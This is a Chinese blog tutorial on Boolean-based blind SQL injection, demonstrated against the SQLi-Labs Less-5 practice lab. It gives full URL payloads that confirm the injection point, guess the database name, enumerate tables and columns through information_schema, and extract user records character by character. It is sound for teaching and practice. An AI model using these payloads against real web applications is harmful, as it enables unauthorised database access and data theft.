博客园 首页 私信博主 显示目录 隐藏目录 管理
Live2D

SQL注入之Boolean型盲注

什么是Boolean型注入

Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。

Boolean型注入实战

这儿以SQLi-Labs less5来进行演示Boolean型盲注实战。

首先查看是否存在注入点

构造payload  http://43.247.91.228:84/Less-5/?id=1

 

 加个单引号  http://43.247.91.228:84/Less-5/?id=1'

 

 数据库报错说明存在注入点

接下来来看看数据库的长度,构造payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

 

 页面回显不正常,在进行尝试到8时回显正常

payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

 

回显正常说明数据库长度为8

猜测数据库的第一位

payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

 

回显正常,说明数据库第一个字母大于a,然后再试后面的字母和数字(可以用二分法来节约时间)最后确定第一位为s。

再猜测数据库的第二位

构造payload为 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

 

 说明第二位大于a,在进行测试,得到第二位为e。

得到database()=security

然后来获取这个数据库下的第一个表的第一个字段

http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

 

 第一个为e,继续操作得到表名为email

接着获取第二个表,将limit0,1改为limit1,1,查询出第二个表为referers

重复这个步骤,获取所有表的名字。

然后使用regexp来获取user中的列

http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

回显正常说明表中有us开头的列

http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

 

 说明有username存在,然后在查询password等其他的列。

然后再来获取users表的内容

http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

试出了username第一行的第一个字符ascii为68,即为D,然后继续查询第一行数据为Dumb。

再用这个方法查询其他列获得数据,便可完成注入。

盲注的过程比较繁琐,手工实现的话比较费时间,我们可以通过写脚本来实现盲注。

但是对于盲注的原理我们还是要深入理解的。

 

 

posted @ 2019-12-01 11:07  楼--楼  阅读(1549)  评论(0编辑  收藏  举报
(function() { $("pre").addClass("prettyprint"); prettyPrint(); })();